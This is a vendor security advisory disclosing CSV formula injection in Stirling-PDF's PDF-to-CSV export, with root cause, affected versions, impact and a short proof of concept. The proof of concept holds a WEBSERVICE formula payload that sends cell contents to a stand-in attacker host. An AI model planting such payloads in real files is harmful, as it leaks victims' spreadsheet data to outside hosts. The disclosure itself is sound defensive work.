Stirling-PDF: PDF to CSV Writes Spreadsheet Formulas Unfiltered
The CSV writer quotes every field but does not neutralise the formula characters a cell may start with.
Advisory ID: TP-2026-090
Product: Stirling-PDF (web application for PDF editing, Java and Spring Boot)
Vulnerability type: CSV formula injection (CWE-1236)
CVE: requested (GitHub CNA), assignment pending
CVSS 3.1: 5.4 (Medium) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Affected versions: < 3.0.0
Vendor advisory: GHSA-pp9g-47g3-f789
Fixed in: 3.0.0
Reported: 30 May 2026
Summary
Stirling-PDF reads tables out of an uploaded PDF and writes them into a CSV file. The cell contents come from the PDF unchanged and are therefore entirely controlled by whoever supplied it. The CSV writer does wrap every field in quotes and escapes embedded quotes, which prevents a breakout through delimiters and line breaks. The characters by which spreadsheet programs recognise a formula are untouched by that. When the victim opens the produced file in Excel or LibreOffice Calc, the program strips the CSV quoting, sees the leading equals sign and evaluates the cell as a formula.
Root cause
The writer builds its format with CSVFormat.EXCEL.builder().setEscape('"').setQuoteMode(QuoteMode.ALL), which neutralises delimiters and line breaks but not the formula characters =, +, - and @ (ExtractCSVController.java:62-63). printer.printRecord(row) then writes every row read by Tabula into the file verbatim (:72-73). On the way there the only cleanup is TabulaTableParser.normaliseText, which merely replaces line breaks and trims whitespace (TabulaTableParser.java:251-254). Nowhere is a leading formula character stripped or prefixed with an apostrophe. The endpoint is reachable in the shipped image, which comes with login enabled, so any authenticated user can run the conversion.
Proof of Concept
# PDF holding a table whose cell begins with:
=WEBSERVICE("https://attacker.example/?d="&A1)
# victim: POST /api/v1/convert/pdf/csv with that file
# the produced CSV carries the field quoted but unchanged:
"=WEBSERVICE(""https://attacker.example/?d=""&A1)"
# on opening in Excel or Calc the CSV quoting falls away,
# the leading = turns it into a formula that leaks the cell contents.
The XLSX export path is not affected, because it uses setCellValue(String) and therefore produces string-typed cells that no spreadsheet program evaluates (ConvertPDFToExcelController.java:92-93).
Impact
- Leakage of cell contents from the victim's spreadsheet to a foreign address, for instance through
WEBSERVICEorHYPERLINK. - Command execution on the victim's machine where the spreadsheet program still permits the legacy DDE feature.
- No warning for the victim, since the file comes from their own trusted service rather than arriving as a foreign attachment.
- Delivery is the whole attack path; the victim performs the conversion themselves.
References
Is Something Like This in Your Software?
Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
